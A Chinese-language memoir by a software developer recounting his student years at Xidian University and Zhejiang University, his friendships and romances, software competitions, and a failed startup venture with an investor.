在上大学的前三个学期,学习如同表演,有趣而且轻松。自从第四学期学习了计算机课程,我就有了新的追求,我多么渴望拥有一台计算机,可以天天编程。如果挨一个巴掌能换取一分钟上机时间的话,我愿意每天挨1440个巴掌。如果非得加上一个期限不可,我希望是一万年。
我本科的专业是半导体物理,一二年级由系里负责教学,三四年级由微电子所负责教学。在第四学期末,我央求系里把我推荐到微电子所参加科研,贾 新章教授“收留”了我。我踏进微电子所的那一脚,让我从纯粹学习转向了科研,从“高分低能”转向了“低分高能”。我终于有了一台286电脑,那个暑假我就 睡在实验室里,时时刻刻守着它,深夜里我一个人冲着它发笑,一会儿盖上布,一会儿掀开布,一会儿摸摸它的“脸”,一会儿理理它的“辨子”。我很快地完成了 任务:设计一个“立方运算”的模拟电路,并且学会了C语言。
西电有个好传统,每年冬季举办一次全校性的“星火杯”学生科技作品竞赛。每届都有六七百件作品展示,低年级的学生看后无不热血沸腾,跃跃欲 试。我很希望能独立开发一套软件,参加本届“星火杯”竞赛。贾新章老师是研究集成电路可靠性的,见我如此热切,就让我开发“集成电路可靠性分析软件”。
我开始一边研究数值算法,一边设计软件。从炎热的8月份到发冷的十一月,几乎天天通宵编程,程序很快增长到一万多行。在离竞赛还剩一个月左右 的时候,出现了大量的问题。不仅程序老是出错误,而且发现原先的算法并不有效。此时已经没人能够“救”我。贾老师不会编程,不知道问题究竟出在程序上还是 出在算法上(实质上两者都有问题)。而那些懂软件开发的年青教师,实在看不明白我的上万行程序是如何组织的。他们只能悲伤地看着我挣扎。由于我经常逃课, 好学生变成了坏学生。系里意见极大,贾老师十分为难。不少老师和同学劝我赶紧“改邪归正”,放弃项目,不值得因小失大。当时我有个无法动摇的信念:如果放 弃一次,那么碰到下一个挫折时我就会继续放弃;如果坚持而成功,那么碰到下一个挑战时我会激励自己再取成功。
在压力面前,我依然坚挺。每当略有进展时,心里就一阵狂喜,但很快又会碰到新的困难,有时一坐就是20个小时。每天在喜悦的颠峰与苦恼的深渊 之间反复折腾。在竞赛前两天,我终于成功地完成了软件研发,结果获得软件与论文两个二等奖。这个荣誉本身不值得一提,并且我付出很重的代价——对物理专业 失去兴趣而彻底抛弃了它。但那时我才19岁,在极限状态下,我磨练了意志,使我日后充满激情。在本科四年级,我认识了微电子所的郝跃老师。他是数学博士, 是微电子所最有才华、最潇洒、最有领导风范的青年学者。我常去向他请教数学问题,他讲得意气风发,我听得如痴如醉。我俩一个月的“交流量”很多硕士花一年 时间也得不到。有一天,郝老师说:“你做我的学生吧。”我就毫不迟疑地从贾老师门下“跳槽”到郝老师门下。郝老师后来是我的硕士导师,他高兴时喜欢说: “好,很好,非常好!”我看着他升教授,
升博导,升副校长,师生两人分别在各自的阶层中名声显赫。
在三四年级,我的专业课程没有一门及格过。但由于微电子所的老师们已经认可了我,就把我的卷面成绩作为及格线,“水涨船高,水落船低”,我对 同学们的帮助莫大于此!如果要我考研究生,我绝对考不上。系主任安毓英觉得我将来很有前途,于是不顾别人反对,一锤定音让我免试读硕士研究生。

读硕士研究生时,我的科研条件相当好。导师十分开明,任我自由发展。我最喜欢做的事是设计图形用户界面和开发数据可视化软件。图形软件的最大 魅力是即便它毫无用处,你也可以自我欣赏。总有人担心“花很多精力、物力让界面那么漂亮,图形那么逼真是否值得?”这种问题不能强求别人与你一致。我当时 赞美女孩子的最高境界就是把她和我的图形软件相提并论。
我喜欢设计用户界面是因为自己有相当好的美感。在读本科时我模仿过六七个流行软件的界面。那时期大家编程都用Turbo C 2.0,我伪造了一个“Turbo C 2.6”。有个北大的博士生来实验室参观,看“Turbo C 2.6”后对我导师说:“郝老师,你们的工具比我们的先进多了”。
我常常向同学演示、卖弄自己开发的软件。觉得还不过瘾,就写了一篇名为“用户界面设计美学”的短文。凡是路过我实验室的同学都被我逮住,被迫 听完我得意之极的朗读,茫然者与痛苦者居多。不久我的朗读便所向披糜,闻声者逃之夭夭。这篇文章我6年后照搬到博士学位论文中,可见当初写时的确有所“超 前”。
我的研究工作基本上以集成电路的数值计算为主,数值计算产生的一堆数据常把我搞得晕头转向。我发现用图形来表征、解释数据可以让自己不再迷糊 下去,那感觉就象刚睡醒时冲凉水一样。我硕士学位论文中的软件就是用图形来仿真集成电路生产过程中“缺陷”对成品率的影响。我并不是在看了学术论文后才开 始研究可视化技术的,我是在做了工作后才发现那些好玩的技术叫做“可视化”。由于我肚子里头的确有货,在硕士一年级,我没有使用“剪刀”与“浆糊”(这是 很多人写书的法宝),只化了三个月时间就写完第一本著作《微机科学可视化系统设计》。
我在读硕士期间的工作强度与本科时的相当,但工作方式有很大不同。我有了明确的目标:(1)开发自主版权的软件产品;(2)培养做领导的才 能。这个目标可以通过团队工作,参加全国性大学生科技竞赛而实现。我在西电成立了“可视创意软件小组”,马佩军、戴玉宏、马晓宇是我的主要技术伙伴,帮手 很多。有几个漂亮的女生负责宣传(有一个长得像孟庭苇)。办公室里贴满了标语,如“创造性的事业要靠激情来推动”,“生于忧患,死于安乐”,“让春天消 失”。还有大幅的 “作战图”,倒计时牌。每个伙伴写了一张“军令状”放在机器上,我迄今还记录着那些纯真、活泼、充满激情的文字。那是多么艰苦而幸福的日子,夜里放震耳欲 聋的音乐、咬尖辣椒提神,有伙伴累得蹲在厕所里睡着了。
在1994年和1995年的冬季,我们的软件作品分别获中国大学生应用科技发明大奖赛二等奖和全国大学生“挑战杯”学术科技作品竞赛二等奖。 在西北地区,我们是“老大”。我成了西电学生的榜样,仰慕我的学生有一大批,我刚到浙大读博士时,收到一个西电计算机系学生的信,他说:“你走了,我呆在 西电没有意思,我准备考浙大的硕士生,你到哪里我就跟到哪里。”
在硕士毕业前,我在鉴定表上这样写道:“我热爱科技事业,如同热爱生命一样。近5年的科研工作带给我最充实的生活,也寄托着我美好的向往。可我同时也感到了痛苦,因为5年来我耳闻目睹科研中太多的弄虚作假。我发誓做一名真实、正直、优秀的科技人员,以正身自勉。”

我在西电度过了幸福的6年半,最让我牵肠挂肚的是“吃”、“友情”和“爱情”。当我第一次吃红红的和青青的辣椒时,“感动”得满脸是泪,那滋 味让我觉得前 17年白活了。我在读硕士时已经能自力更生,我开发的软件不仅竞赛获奖争了名气,而且还挣了钱(卖了二十多份软件,平均每份挣500元)。写书得稿费 7000元,那时我简直就是富翁。这些钱的小部分用来给女孩子买礼物,大部分用于和与哥儿们吃香的喝辣的。
我相信自己已经尝遍了西安的小吃,并且发现了一个“秘密”:最好吃的东西都在地摊上,最香的东西一定是辣的,最辣的东西一定是的。曾经沧海难 为水,我在浙大的三年里很少再吃辣椒,因为怕它玷污我心目中的辣椒。在我小时候,我爸很讨厌土豆(在困难时期他吃了太多的土豆),他竟然因此不让我吃土 豆。我哪敢跟他论理,于是忍啊忍,一直忍到我上大学“远走高飞”。如果说辣椒是我新交的女朋友,那么土豆就是我天生的命。我在西电经常用电炉(从来都没被 抓住过)做“以土豆为核心”的菜,天长日久,朋友们干脆叫我“土豆”。我吃饱土豆和辣椒后不免深思而感叹,人要是认认真真地吃,真的花不了多少钱,那些贪 官究竟是怎么吃掉巨款的?我将来怎么吃得掉自己挣来的钱?我在读中学与本科时,满头白发,脑袋可以当白炽灯泡用。当我硕士毕业再照镜子时,吓了一跳,白头 发不见了!我不知道究竟是哪种食物起的作用(估计是辣椒)。那些早生白发的小伙子们,你们就到西安上学吧。

马佩军是我在西电最早的朋友。刚入学时我们分到一个宿舍,他象国民党兵盘问良家妇女那样上下打量我,问:“喜欢干啥?”我怯生生地回答:“打 乒乓球。”他再问:“什么风格。”我答:“快球。”他突然象阎锡山那样怪笑,拍拍我的肩膀说,“好!我喜欢,以后你就是我的朋友。我是陕西人,农民,会开 拖拉机和卡车。这里是我的家,以后你有啥事,就对我吱一声。”
马佩军和我打乒乓球时口中念念有词:“哼!你对我狠,我对你更狠;你对我好,我对你更好。”他好几次说要把世上最好吃的板栗送给我一袋,这一 袋板栗我到现在都没拿到。马佩军夜里极能侃,吹他家乡的人跑得快,常把野兔追断气。有时他吹得太离谱,常令我们6个舍友群起而攻之。为了把我们一举歼灭, 他白天到图书馆查“资料”,夜里再挑起事端。双方就象印度与巴基斯坦,常干两个秃子争一把梳子的事。马佩军上大学前也没见过计算机,但他对计算机技术有极 强的领悟力。我们第一次上机时,他把我拉到打印机旁边说:“帮我防着管机房的,我要修理这台打印机 ”。还没等我反应过来,他就开始“肢解”打印机。我无比深刻地体会到:歹徒在作案时都不害怕,最提心吊胆的就是那个放风的。他在5分钟内修好了打印机,我 佩服得五体投地,甘愿下次再跟他干“坏事”。
我们读本科和硕士时主要用DOS操作系统,那时期病毒泛滥。马佩军杀病毒不用软件,用手杀。看他杀病毒简直是一种享受:噼里啪啦地敲一阵子汇编命令,然后机器就好了。求救电话太多,他经常无怨无悔地带着那双铁手游荡于西电各个角落,却不知道编写个杀病毒软件来赚钱。
我一直认为马佩军是西电编程第一高手,他编程的时候根本不是人,是指针。之所以我的名气大,一是因为他不好名利,二是我把他的程序写上了我的名字(并且卖了不少钱)。
马佩军的女朋友是我介绍的,我一眼就看出她将嫁给他。后来俩人果真结婚了,只是他嫁给了她,现在他还有了一只“小马驹”。硕士毕业后,马佩军 留在西电读博。前年我再见到他时,他说我害死他了,快乐得要宰了我。马佩军在西电已经呆了十年,禀承了西电所有的优点与缺点——“很土但结实耐用”。我在 西电时很土气,离开西电后变得“半土不洋”。马佩军简直就是西电人自己的“兵马俑”,每次看到他或者想起他时,我就明白自己的“根”还在西电。我喜欢陕西 人源于马佩军。

宋任儒是我们的班长,也是班里最早的党员,满口仁义之道,比唐僧还让人受不了。在二年级时,我迷上一个比我大一岁有了男朋友的女同学,多日沮 丧。他看在眼里痛在心里,跑去把那女同学教育了一通。苏联解体的时候他十分沉痛,在思想教育课上,他向我们作了深刻的检讨,好象是他没有管教好戈尔巴乔夫 那小子。最后他为我们点燃了希望:在不久的将来,“苏联”将重新成为苏联,共产主义旗帜将继续在全世界飘扬。
在本科三四年级,他对跳舞十分入迷,连上厕所都滑翔而去。我那时常把自己关在实验室里搞科研,极少有空与他玩乐,等到本科毕业时,猛地发现他 已经风度翩翩。宋任儒在读本科时学习既不好也不差,我们从来没有合作研究过什么。我喜欢他是因为他很有情趣,不落俗套,并且刚正不阿。也许,我俩本来就有 相似的秉性,只是表现不同而已。
本科毕业时,他分到威海工作,走之前我为他饯行。可在硕士开学时,我的房门被人一脚踢开,他对我喊了一声“林子啊,我又回来了”。我就象祥林嫂见到了被狼叼走的孩子那样惊喜。
宋任儒读硕士时被发配到临憧771所,他在那里过上了乐不思蜀的日子。有一天,他带来两个看上去很文静的女孩子(一个读硕士,一个读本科)来 串门。就在我洗水果的几分钟里,三个人已玩得乐翻了天,两个女孩满屋子追他,一会儿把他按到桌子上打,一会按到床上打。我惊诧至极而又羡慕至极,恨不得挨 打的人是我。想不到上学竟然会有这等欢乐,看来我读硕士的日子白过了。
后来,那个大一点的女孩子嫁给了他。当他带她去见公婆时,公公长叹一声:“把儿子交给你,我就放心了。”而婆婆已乐得合不拢嘴,竟然无法叹气。
现在,宋任儒已从复旦大学获得博士学位,比我更早地成家立业。他和她既是夫妻,又象兄妹,还象伙伴。他叫她“聪聪”,她叫他“笨笨”。
“聪聪”问“笨笨”:“老公啊,人活着为了什么?”
“笨笨”答:“就是让咱们每天快快乐乐。”
我亲眼看到的幸福莫过于此。

我在大二时曾为系里学习最差的十几名同学办了补习班,谢伟在这个补习班里名列倒数前茅。在他睡懒觉时,我象催命鬼那样喊他捅他。他无比吃力地抬起沉重的眼皮,就象软弱无力的举重运动员,还没有挺起来就趴下了。
他开始呻吟:“这一次就饶了我吧,下一次我一定,一定会去的,求你了。”我不肯。
“那么让我再睡5分钟,”他不死心。
我仍不同意。
“那么你就从1数到10,要慢一点,”他讨价还价。
当我数到9时,他就接着数9.1,9.2, 9.3 ……
一开始他觉得我很好玩,后来他就离不开我了。并不是因为我学习好,而是那时侯我天真并且充满活力。在三四年级我忙于科研时,他照顾我的生活, 叫我“少爷 ”,既做管家又做兄长。我们不仅共用饭菜票,并且共用仅有的一个碗,总是他买饭菜和洗碗。我们那一级的学生大多崇拜巨人公司的创始人史玉柱,我问谢伟:“ 我是不是和史玉柱一样能吃苦?”他说:“如果考虑年龄因素,你已经比他更能吃苦。你将来一定能做大事业,我就把希望寄托于你了。”
在我们都还不成熟的时候,我成了他心中的灯塔,只要灯不灭,希望就在。现在他为了娶一个日本姑娘,披荆斩棘追到日本,有了新的希望。二十几年来,我就为一个男人哭过,那时他本科毕业离校。

我读硕士研究生时,由于受我的影响,本系三四年级的学生蜂涌至微电子所参加科研。夜里看十二层高的科技大楼,灯火通明、热闹非凡的那一层就是微电子所。那时,我在微电子所学生中的地位仿佛伊拉克的萨达姆,手下兵将极多。
我写第一本书时,有好几个人帮我输入稿子,使我没时间慢腾腾地打草稿。我就象金庸写小说,有如神来之笔,想到那里就写到那里,写了一段他们马上输入一段,一气呵成。那本科技书写得很滑稽,同学们看得笑出眼泪,编辑看了拍案叫绝,只改了几个字就出版了。
那时侯我的心情是如此之好,为一男同学乱蓬蓬的头发写了一篇散文,并送他一把梳子。又把一女同学的实验报告写成评书。我的文笔大概就是这样练出来的。
这一群学生中,戴玉宏、史江一和马晓华是我最好的伙伴(我们都属于牛)。戴玉宏其貌甚帅,眉中有一根白毛闪闪发光,因此号称“白眉鹰王”。 “白眉鹰王”武功了得,是我软件产品的核心开发人员,我们合作最深最久。后来我开公司,他就从广州辞职到杭州为我助威,令我感动不已,可见读大学时期我们 有多铁!戴玉宏有一次打饱嗝,整整打了两天两夜,我差点心疼死。
我尚未发迹之日曾与戴玉宏在校园里卖花,无人问津,就请电子工程系的鲁洁救助。鲁洁温柔貌美,她一言一笑尤如春风吹拂苏堤的杨柳,令人心里一 荡再荡。顷刻间就有男生围观,有人看花,有人看“贵妃”,鲁洁一走,我和戴玉宏可怜得就象两根蜡烛。鲁洁读大学时调皮捣蛋,到四年级时还不太会编程。她的 本科毕业设计是仿真“雷达跟踪飞行物”,程序基本上全是我编写的。我已记不起用了什么公式,只知道每次计算后都弹出一个对话框“报告长官,击中目标”。鲁 洁毕业后到深圳的一家软件公司工作,几年一过,她成了行家。再与她交谈时,我只有听的份,象鸡啄米一样点头。
史江一和马晓华都是陕西人,和马佩军一样厚道热情。史江一性格稳重,属于“你办事我放心”的那类人。我对微电子专业一窍不通,全靠他帮我混过实验这一关。后来我开公司失败,陷入经济危机,就把希望工程的一个小孩托给了他。
马晓华是我最不放心的人。他常常为别人做事情,但热情过头就忘了自己的事情。有几个不道德的学生就利用他的这个缺点,经常使唤他,并且借他的 钱不还。马晓华喜欢为那些人“卖命”并且挨训,他总是在受虐待够了的时候再跟我们嘀咕,我们实在气不过,只好对着他的屁股追加一顿拳脚,并给他一个绰号 “受虐狂”。但愿他找个好老婆,我可以早日放心。
我们这一群小伙子同时喜欢上一个女孩子,她叫姜姗,是她班里的四大美人之一。我们不仅没有争风吃醋,而且心甘情愿地让她坐遍每个人的脖子。姜 姗小姐5岁时她爸姜晓鸿成了我的同事,我们经常一起去钓鱼,亲得象一家人。姜姗喜欢大喊大叫,声音高过帕瓦罗蒂,我们教唆她喊她爸“姜球球”。我常带姜姗 到小吃摊去吃女孩子不敢吃的东西,并哄她:“世上最好吃的东西是鸡屁股。”
她无师自通地加上一句:“世上最好听的屁是鸡放的屁。”
我常想着将来生个儿子并把他培养成天才,但如果能有姜姗这样的女儿,不要儿子也罢。

在本科三年级我第一次参加“星火杯”竞赛并获得软件二等奖后,马上成为低年级学生眼中的明星。我义务当上了一年级学生的上机辅导员。一天晚上我巡视机房,一女生请求帮助。
我见屏幕上空白一片,根本没有一行程序,十分疑惑地问:“什么问题?”
“没有问题。”她把书往我手上一塞说:“这些作业你帮我做。”然后就自个子跟她的同学玩乐,把我撇在一边,似乎我辛辛苦苦地学习就是为了给她做作业。
我定神对她细看,发觉她简直就是《射雕英雄传》里的黄蓉再世,顿时心就“突突突”直跳。当天晚上我没睡着,接下几天的课不知所云。在选修课《操作系统》考试时,我给家里写了一封超短信:请快寄钱来,我谈恋爱了。我交了白卷直奔她去。
我的初恋只有两个月,却让我思念了8年。她离我而去时没有任何理由,而我却失魂落魄。在我本科毕业前的18个月里,白天我狂热工作强作笑容, 夜深人静时心痛如刀割而无法抑制。没有人为我“疗伤”,我是硬挺过去的,这一段经历使我日后心理承受能力极强。后来我开公司的失败虽然对信心有所打击,但 根本无痛可言。
我们分手后并未成为陌生人,就象两只刺猬,离得远了就有点留恋,离得近了,就刺着对方。认识她时我虽然已略显才气,但并不具备成熟男人的魅力,很多事情我并不知道怎么去把握。有时“喜欢”并不能成为“爱”,感情也许是永远研究不透的学问。

我读硕士研究生时有了一群生机勃勃的朋友,感情的伤痛被淹没了。朋友堆里夹着一位女生,她文雅而富有气质。平日里无拘无束,大伙戏称她是我的 秘书。我的言行举止和穿着都经过她的调教,俩人出双入对,十分亲近,不知不觉有了感情。别人已经把我们当成恋人,我和她牵着小姜姗散步时,简直就象一家 人。
可是我当时着迷于事业,认为自己不久将干一番惊天动地的事。鉴于史玉柱在创业时就离过婚,所以我认为感情是事业的累赘,两者不可得兼。更糟糕 的是,我和第一个朋友藕断丝连,偏偏她俩是同班同学。我知道脚踩两只船没有好下场,可我的的确确同时喜欢着两个人,并梦想她俩能合二为一。我情愿被人指 责,也不愿掩饰真实的感觉。有时她俩一同走过,我站在路上丢了魂似的看着俩人的背影,任凭看热闹的人指指点点。
我和第二个朋友已经有了很深的感情,她毕业后我曾坐火车千里送鲜花给她,让她感动过。而我固执的性格和对初恋的思念终于让她心碎。尽管我们已经几年没见,我依然看得见她留在我心里的那颗眼泪。

我在西电六年半的学习和生活也许是一生中最珍贵的,叫我怎能不爱西电。两年前我回西电,惊奇地发现校园里房前屋后长满了待收割的小麦!这所大学是从事电子科技的,种小麦干啥呀?朱总理曾讲过:“目前国家粮食充足,再来三年自然灾害也不怕。”现在国泰民安,似
乎用不着“深挖洞,广积粮”吧。我素知西电提倡勤俭节约、自力更生,但与其种小麦还不如种蔬菜呢。老同学告诉我,种小麦是为了应付“211” 工程(为21世纪选拔100所重点大学)的检查团,因为“211”工程有较高的绿化指标。偏偏检查赶在冬天,那时的西北极难长草。西电本来就人多地少,地 上一长草马上就会被谈恋爱的学生给折磨死。一到冬天,整个校园就光秃秃一片。小麦在年轻的时候还真和青草长得一个模样,用小麦绿化校园可谓千古绝笔,检查 团的那些权贵人士早已五谷不分,岂知所见的“草坪”乃是麦田。

浙江大学依山而傍西湖,是个美丽而高贵的大学。1997年春天,我就象干儿子那样挤进她的怀抱,并期望得到关爱。我到了向往已久的计算机辅助 设计与图形学(CAD&CG)国家重点实验室读博士学位。导师是石教英教授,石老师虽然年过六旬,但精力充沛,红光满面,施拉普纳不及他半分精 神。
我幸福地幻想着大干一番自己喜爱的专业,并计划在35岁左右成为实验室主任。开学的第一天,我兴冲冲地奔向实验室。进门不到5分钟,就因不懂规矩被看门的年青女子训了几次。为了不再冒犯规矩,我就老老实实地抓起一份计算机报纸并且站着阅读,心想这下不得罪谁了吧!
突然一个气得脸色铁青的男人(机房管理员之一)对我断喝:“你在干什么!你怎么可以不经允许就翻看别人的报纸!”似乎我是他一生中见到的最无耻的人。
我就象一个情窦初开的少年飘飘然地去拥抱梦中情人,不料迎来两个耳光,此下场比《猫和老鼠》中的猫还惨。如果这两个年轻人有幸看到我这篇文 章,应该好好悔过自新,她与他的工作态度打击过数十个学生的积极性。我本是因为向往CAD&CG实验室而来的,得到的却是极坏的第一印象。(我博 士毕业后,这两人也离开了实验室,我替后来的学生们谢天谢地。)
CAD&CG实验室在理论研究方面很有名气,但我的兴趣是开发实用的软件,“嫁错人”了。我颇费周折地考入CAD&CG实验室,却尚未热身就全力而退,决心自立门户。至今我都没有用实验室的计算机编过一行程序。

刚读博士时我穷困潦倒,只有一床,一盆,一壶,一碗。我那些穷朋友们象挤牙膏一样挤一些钱资肋我。我买了一台计算机,在宿舍里开发软件产品 “可视化软件开发工具 VA 4.0”。1997年8月,我去北京参加首届中国大学生电脑大赛软件展示,路费也是借的。同学为我壮胆时说:“如果不能获奖,就回到实验室干活吧。”我说 一定会拿第一名,不然去干啥。
在软件展示时,我们发现很多好的作品是国家的科研项目,根本不是学生个人的作品,违背了竞赛的宗旨。如果允许这样做的话,学校可以运几条生产 线过来。我写了一份抗议书,找了十几个人签名(很多人敢恨而不敢签)。但抗议能顶屁用,我参加过的科技竞赛、听过见过的科研鉴定多了,哪一次我没看到虚 假?我写抗议书是因为眼里容不得沙子。如果我在北大读政治,恐怕早就遭殃了。这次竞赛选出十个“软件明星”,只有我的软件和清华大学博士生的项目值得一 看。他的项目水平很高,但那不是他个人的作品(评委甚至认识他的导师,知道项目的来龙去脉)。综合诸多因素,我的作品被评为第一,他的项目被评为第二。组 委会来拍电视,可是找不到浙江大学的展板。因为浙江大学没有任何准备,我是一个人来的,我的作品夹在杭电的作品之中,没名没姓。我只好从塑料袋上剪下“浙 江大学”四个字,贴在展板上撑撑门面。自新中国成立以来,清华大学就一直在浙江大学头上“作威作福”,我好歹也争了一口气。可是颁奖时,组委会竟按地方顺 序从北京念起,我沦落到第七,差点咽气。
我曾在上海的一辆公共汽车上与一位北京来的旅客聊天,此公极健谈。似乎他到上海旅游的目的就是为了发掘北京的优越性。见我挂着浙江大学的红色 校徽,且对清华、北大并不神往,不禁十分迷惑,就问:“浙江大学在浦东还是浦西?我要去看看。”北京已经是极度优越了,就请不要把什么鸡毛蒜皮的好东西都 拿走。

1997年11月,在穷得快挨饿的时候,我获得了中国大学生跨世纪发展基金特等奖(全国共20名,奖金1万元),到人民大会堂领奖。给我们出钱的是一个靠 资本运作发财的集团,在宴会前,该集团领导人和我们座谈,他什么不好吹偏偏吹自己是个高科技企业:“我们主要从事生物工程,几年前就掌握了克隆技术,英国 的‘克隆羊’简直是小菜一碟。……我们在东北有个农场,新品种的小麦长得比人还高,麦粒跟葡萄一样大,你们不久都会喝到用这种小麦酿的啤酒。……我如果去 美国炒个总统,那就跟玩似得。”
我们几个获奖的博士生吃饱喝足、拿了钱后,关起门来把那个老板臭骂一通,扬长而归。别以为给钱就能让我们说好话!
刚拿了“跨世纪发展基金”,又马上获得“浙江省青少年英才奖”,浙江大学也给我发奖学金。比起那些一个月只有300元工资的博士生们,我简直 是“暴富”。还了朋友们给我的“救济款”后,仍然是个“富翁”。我老是觉得手头的钱是“抢劫”来的,心里不踏实。于是找浙江大学校团委“诉苦”,请校团委 把我的“不义之财”捐给浙大的贫困学生。校团委的老师热情而坦诚,说愿意等我成为真正的富翁时再接受捐款,现在不能让我“杀鸡取卵”。但为了能让我表达心 意,建议我资助“希望工程”的中学生,让我选了5个初一的学生,每个学生500元。我轻浮地以为自己真的帮助了5个中学生,直到1998年暑假我见到了其 中的一个中学生,才发现自己做的好事只不过杯水车薪而已。我是到了自己贫困失意时才真正去帮助那些孩子的。

在1997年,我在学生时期的荣誉已登峰造极,觉得自己的翅膀已经硬了,不想再混下去。我总以为自己是第二个史玉柱,应该开个软件公司来振兴 民族软件产业。我曾到东软集团(沈阳)参加“民族软件产业青年论坛”,大不咧咧地作了一次演讲(现在发现演讲的内容没有一项是可以操作的)。杭州有一个记 者来采访我,我谈了一天的理想,记者还是没听明白,干脆自己写新闻报道,并且含蓄地做了一个广告:万事俱备,只待投资。
由于我能说会道,频频上电视,引来近10个投资者。我选择了一位年龄比我大一倍、非常精明的商人作合伙人,成立了“杭州临境软件开发有限公 司”。彼时,我可谓光芒四射,名片上印着“以振兴民族软件产业为已任,做真实、正直、优秀的科技人员。”浙江大学有关部门想开除我,被我“晓之以理、动之 以情”安抚住。
我当时想开发一套名为Soft3D的图形系统,此系统下至开发工具,上至应用软件,无所不包。公司名字起为“临境”有两个含义:一是表示身临 其境,这是我对图形技术的追求;二是表示快到了与SGI公司称兄道弟的境界,这是我对事业的追求。“临境”这个名字我在读本科时就已经想好了,1997年 底公司成立的那一天,我有一种“媳妇熬成婆”的悲壮感觉。
我从实验室挖来一位聪明绝顶的硕士生做技术伙伴。他叫周昆,年龄很小(1978年出生),研究能力极强。如果按照浙江大学计算机系博士生毕业 的论文要求,他入学读硕士的那一天就可以博士毕业。周昆的头明显比我的大,估计其脑容量至少是我1.5倍。我曾经以师兄的身份为他洗过一双袜子,他因此觉 得我是个好人。我俩一拍即合,常常为Soft3D的设计方案自我倾倒。一想到Microsoft公司的二维Windows系统即将被Soft3D打击得狼 狈不堪时,我们就乐不可支,冲劲十足。
我已经把“振兴民族软件产业”列入日程,并且提前担忧将来钱挣得太多用不完该怎么办。1998年5月份,我们做了一套既不是科研又不全象商品 的软件。软件产品宣传了几个月,并没有出现订单如潮、接应不暇的局面(事实上压根就没有反应)。我意识到没有找对市场,但仍觉得产品中的一些技术很有价 值,将它改装成其它软件也许能开创“东方不亮西方亮”的新局面。
于是我向只有一面之缘尚在北大方正工作的周鸿袆求助。他是真正的软件高手,当我小心翼翼地展示约10万行C++代码的软件时,他竟在十几分钟内就指出多处重大的设计错误,使我目瞪口呆地意识到整个软件系统的价值为零。那种心痛啊,就象眼睁睁看着孩子被狼吃掉一样。
到1998年10月,我用光了30万元资金。周鸿袆再一次从北京飞到杭州,三下五除二替我把只活了一年的公司关闭掉。他放心不下,觉得我“恶病需用猛药治”,于是意犹未尽地把我捉到北大方正插在他管辖的部门,让我学习怎样做事情。
北京寒冷的冬天可以营造一种凄凉的气氛,冲去一切可以自我原谅的借口。我并不是太爱虚荣的人,知道这次失败是我的毛病积累到一定水准忍不住喷发出来的结果。我绝不能以年纪尚轻不太懂市场与管理为理由轻率地敷衍过去。
从北大方正“劳改”了两个月回来,我心服口服地承认失败了。我把察觉到的数十个毛病列出来,日后一个一个克服掉。现在我能比较清醒地分析我和投资方所犯的主要错误,以祭我那幼年夭折的软件公司。
我的主要错误:
(1)年青气盛,在不具备条件的情况下,想一下子做成石破天惊的事。我的设计方案技术难度很大(有一些是热门的研究课题),只有30万元资金的小公司根本没有财力与技术力量去做这种事。
(2)我以技术为中心而没有以市场为中心去做产品,以为自己喜欢的软件别人也一定喜欢。我涉足的是在国内尚不成气候的市场,我无法估计这市场有多大,人们到底要什么。伙伴们跟着我瞎忙乎一整年,结果做出一个洋洋洒洒没人要的软件。
(3)我做到了“真实、正直”,但并没有达到优秀的程度。我曾得到很多炫目的荣誉,但学生时代的荣誉只是一种鼓励,并不是对我才能和事业的确认。正因为我不够优秀,学识浅薄,加上没有更高水平的人指点我,才会把事情搞砸了。
投资方的主要错误:
(1)投资方是个精明的商人,他把我的设计方案交给美国的一个软件公司分析,结论是否定的。但他觉得我这个人很有利用价值,希望可以做成功其它事情,即使Soft3D软件做不成功,只要挣到钱就行。这种心态使得正确的可行性分析变得毫无价值。
(2)由于我不懂商业,又象所有单纯的学生那样容易相信别人。他让我写下了不公正的合同,我竟然向他借钱买下本来就属于我的30%技术股份。 他名为投资方,实质上双方各出了一半的资金(他出51%,我出49%)。他在明知Soft3D软件不能成功的情况下,却为了占我的便宜而丧失了应有的精 明,最终导致双方都损失。关闭公司时,他搬走了所有东西。我明明投入了技术,又亏了15万元,却一无所得。几个月后当我意识到不公平而找他协商时,他说: “只能怨你自己愚蠢,读到博士,连张合同都看不懂。”此事充分地显示了我的无知与愚蠢。自己的奋斗没有必要后悔太多,
学到的远比失去的多,我相信下一次会做得更好。

公司关闭后,我就面壁反省,补习基础,准备为几年之后“东山再起”养精蓄锐。1999年1月,有一个民营企业家G先生向我请教一个问题:“我 给一个年轻人投资了100万元,建立一家从事环保信息应用开发的软件公司。他曾许诺一年内创利润上千万元,可是才过去5个月,他就把100万元用完了,什 么也没挣到。我实在不明白是怎么回事,请你帮我分析分析。”这位G先生年龄有我的2.5倍,曾在西北当过几十年的技术兵,性格豪爽。他投资的那个年轻人叫 Y(以下称Y 经理),自称有英国的管理学文凭,能对公司的市场、技术、管理一把抓。G先生喜欢说“钱我没问题”,于是想也不想就投了100万元,并且给Y经理40%的 股份。
G先生请Y经理到家里座谈。我那时突然狡猾起来,自称是G先生的远房亲戚,在浙大读半导体物理,特羡慕那些做软件的同龄人,渴望听听Y经理的高见。Y经理 果然信口开河,滔滔不绝,连绵不断,如黄河泛滥,一发而不可收拾。我激动地想去参观他的公司和产品,并表示要抛弃物理专业,立马转向软件专业。
Y经理得意而笑:“对于IT行业你就不懂了,我们经营的是一种理念而不是产品,这是国外最先进的思想。你可以来参观我的公司,但你看不到具体的东西,只能用心去领会。”
这屁话比曹元朗的诗还臭(《围城》)。我搞软件只有8年功夫,说我不懂IT行业并不过分。可我读了10年大学都没听到过如此“先进”的思想。如果这是英国管理学教育的成果,我认为自己已经发现了这个曾经是“日不落帝国”的衰败的真正原因,有必要找英国首相切磋一番。
我对G先生说:“Y经理根本不懂技术,为人极其浮夸。应马上关闭公司,以绝后患。那100万元你也亏得起,就买个教训吧。”
G先生说:“钱我没问题,那100万元就算我在澳门赌博输掉了。”
1999年5月,G先生又来找我请教另一个问题。他说:“小林啊,你上次说得很有道理,我接受了教训。”
我说:“那是好事,不论年龄大小,知错就改总是好孩子嘛。”
他叹了一口气:“最近几个月,Y经理又花了我100万元。”
我当时差点给噎死,气凶凶地训G先生:“我早跟你讲过,Y经理不是好东西,叫你关闭公司你不听,你老说钱没问题,亏你200万元活该。”
老先生象犯了错误的小孩子:“Y经理每一次向我要钱时,都拍拍胸脯保证下个月就有利润,所以我一而再、再而三地掏钱给他,希望能救活软件公司。现在该怎么办?”
